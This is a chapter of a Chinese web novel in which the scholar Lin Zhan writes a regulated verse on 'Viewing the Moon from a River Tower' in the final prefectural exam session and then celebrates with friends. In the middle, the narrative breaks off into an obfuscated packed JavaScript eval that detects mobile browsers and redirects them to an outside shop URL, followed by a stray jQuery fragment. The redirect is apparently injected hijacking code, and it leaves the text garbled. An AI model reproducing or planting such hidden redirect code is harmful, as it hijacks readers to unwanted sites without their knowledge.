府试第三场,也是最后一场,考的是诗赋。
进场前,沈千机在小院门口神秘兮兮地塞给林湛和周文渊一人一个小巧的锦囊,挤眉弄眼:“家母昨日去城外寒山寺上香,特地从方丈那儿求来的‘文思泉涌符’,灵验得很!带着带着,讨个好彩头!”
铁柱在一旁看得眼热:“沈公子,我的呢?”
沈千机哈哈大笑,变戏法似的又从袖子里掏出一个更大的锦囊:“就知道铁柱兄少不了!这是‘力拔山兮气盖世符’,专管力气和精神头!”
铁柱乐呵呵地接过,揣进怀里,还拍了拍:“这个好!正合我用!”
孙夫子在一旁捻须莞尔,也不阻止。这几日下来,沈千机的活泼周到,倒给紧张的备考添了不少轻松。
再进府学考场,气氛与前两场又有些不同。或许是最后一场了,许多考生脸上都带着疲惫,但眼神里又有着“最后一搏”的亮光。林湛找到自己的号舍坐下,将那个小小的锦囊放在砚台旁,心里觉得有些好笑,又有些温暖。
辰时发题。题纸展开,诗赋题目映入眼帘:
“以‘江楼望月’为题,作七言律诗一首,韵脚不限。”
林湛微微一怔。这题目……倒真是风雅。江、楼、月,皆是古诗中常见意象,但正因常见,反而难出新意。而且七律格律严谨,对仗工整的要求比五律更高。
他闭目凝神。江楼望月……脑海中自然而然地浮现出许多唐诗名句。张若虚的“江畔何人初见月?江月何年初照人?”的哲思;杜甫的“星垂平野阔,月涌大江流”的壮阔;还有白居易的“可怜九月初三夜,露似真珠月似弓”的纤巧。
但这些都太著名了,若只简单模仿或拼凑,难免落入窠臼。他需要找到自己的角度,既要符合格律,又要有真切的感受和意境。
窗外的阳光透过板缝,在桌案上投下几道细长的光斑。林湛忽然想起赴府城路上,曾在某处江边客栈歇脚。那夜月色极好,他推开木窗,见大江如练,明月悬空,江上渔火点点,远处山影朦胧。当时铁柱还嚷嚷:“这月亮咋跟咱村后山看到的差不多大?”惹得众人发笑。
差不多的月亮,因了这江、这楼、这时节、这心境,便有了不同的意味。林湛心思微动。杜知府是务实干吏,但能出此风雅题目,想必也欣赏那种既能贴合题目、又能寄托情怀的佳作。不必刻意求奇求险,但求真切自然,或有境界。
他提笔蘸墨,先在草稿纸上写下题目《江楼望月》。略一沉吟,首联便有了:
“独倚危栏夜气清,大江如练月华明。”
点明地点(江楼)、时间(夜)、人物(独倚),勾勒出静谧开阔的画面。“危栏”显楼高,“夜气清”定氛围,“大江如练”化用谢朓“澄江静如练”,但接“月华明”,更显月光照耀下江水的澄澈透亮。
颔联需对仗。他想到那夜所见江上渔火与天上星辰,笔锋一转:
“星垂野阔渔灯暗,潮涌天低雁阵横。”
“星垂野阔”从杜诗化出,但接“渔灯暗”,一远一近,一天一水,静中有动。“潮涌天低”写江潮涌动仿佛压低了天际,气象浑茫,“雁阵横”则点出时节(应是春秋),雁阵横空,又添灵动与一丝淡淡的羁旅之思。
颈联进一步深化。望月常引人遐思,或怀人,或感时。他避开常见的思乡怀人套路,转而联想到亘古的江月与短暂的人生:
“千古盈亏同此镜,几回圆缺照人行?”
将月亮比作明镜,映照千古兴衰、人世悲欢。“盈亏”“圆缺”既写月相变化,又隐喻世事无常、人生际遇。这一问,带出淡淡的哲理感,却不晦涩。
尾联收束,需有力且余韵悠长。他想起那夜江风拂面、水声入耳的实在感受,又想到明日便将归去,此景此情或成追忆:
“长风忽送寥廓唳,吹尽笙歌是水声。”
“长风”呼应首联“夜气清”,“寥廓唳”或许是远处鹤唳或风过江面的呼啸,添苍凉之意。最后落于“水声”——所有的繁华笙歌,终将被这亘古的江涛声淹没,归于自然与本真。这一结,悠远含蓄,留有想象空间。
写完草稿,他反复吟哦几遍,调整了几个字词,确保平仄无误、对仗工稳、意象连贯。全诗没有生僻字眼,也没有刻意炫技,但意境从静谧开阔到苍茫深邃,最后归于平淡悠远,层次分明。
满意之后,他才郑重誊抄到正卷上。笔尖在素纸上沙沙移动,一个个清秀的字迹渐次浮现。写到最后“水声”二字时,他仿佛真的听到了隐隐的江涛声,从窗外遥远的某处传来。
搁下笔,他轻轻舒了口气。这才发现,那个“文思泉涌符”的锦囊还静静地躺在砚台边,红色的丝线在光线下微微发亮。他不由笑了笑,将它小心收进怀里。
考棚里很安静,只有笔尖划过纸面的沙沙声,和偶尔一两声压抑的咳嗽。午后的阳光斜斜照进来,空气里浮动着微尘。远处高墙上,一只不知名的鸟儿停驻片刻,发出清脆的啼鸣,旋即振翅飞走。
收卷的鼓声响起时,林湛正好将诗稿检查完最后一遍。卷子被收走,他收拾好考篮,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179305|196937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
随着人流缓缓走出号舍。
府学庭院里,春日正盛。几株老树新绿满枝,墙角一丛蔷薇开得正好,粉白的花瓣在微风里轻轻颤动。许多考生聚在一起,低声交谈,脸上或喜或忧。林湛看到周文渊站在一株海棠树下,正仰头看花,神情平静。
“周师兄。”他走过去。
周文渊回头,露出一丝笑意:“考完了。林师弟的诗题,可有佳句?”
“勉强成篇罢了。”林湛道,“周师兄定是佳作。”
周文渊摇头:“老题目,难出新意。我写了些客舟旅思、光阴流逝的感慨,终是前人窠臼。”他顿了顿,“倒是林师弟,我猜你必有不同寻常的着眼处。”
两人正说着,铁柱的大嗓门已经从辕门方向传了过来:“湛哥儿!周木头!这儿呢!”
挤过人群,只见铁柱和沈千机都在辕门外等着。铁柱手里居然还举着个小小的食盒,见他们出来,献宝似的打开:“刚出锅的桂花糕!还热乎!沈公子说考完了得吃点甜的,补补脑子!”
沈千机则笑着递上水囊:“先喝口水。考完了就不想它,走,回去好好歇歇,晚上我请客,咱们吃顿好的!”
回小院的路上,铁柱迫不及待地问:“诗题是啥?好不好写?”
“《江楼望月》。”周文渊道。
铁柱眨眨眼:“望月?这个我会啊!‘床前明月光,疑是地上霜’!”
沈千机忍俊不禁:“铁柱兄好记性!不过那是五绝,府试考的是七律。”
“七律八句,更讲究。”周文渊解释。
铁柱挠头:“听着就麻烦。还是湛哥儿厉害,啥都能写。”
林湛只是笑笑。马车穿过喧闹的街市,夕阳将车帘染成暖金色。他靠在车厢上,望着窗外流动的街景,心里那根紧绷了数日的弦,终于缓缓松弛下来。
府试三场,至此全部完结。文章已定,只待放榜。
回到小院,石榴树的花苞似乎又膨大了一些,在晚风里轻轻点头。孙夫子已备好清茶,见他们回来,温言道:“辛苦了。好生歇息两日,静候佳音便是。”
夜幕降临,小院点了灯。厨房里飘出饭菜的香气,是沈千机让人从酒楼叫来的几样精致小菜。席间无人再提考试,只说些闲话趣闻。铁柱说起白日里在府学外看热闹,见有个考生出场时太激动,一脚踩进路边的水洼,摔了个大马趴,逗得众人发笑。
笑声中,远处隐约传来更夫敲梆子的声音,悠悠的,一声,又一声。江宁府的夜,在灯火与月色中,缓缓沉入宁静。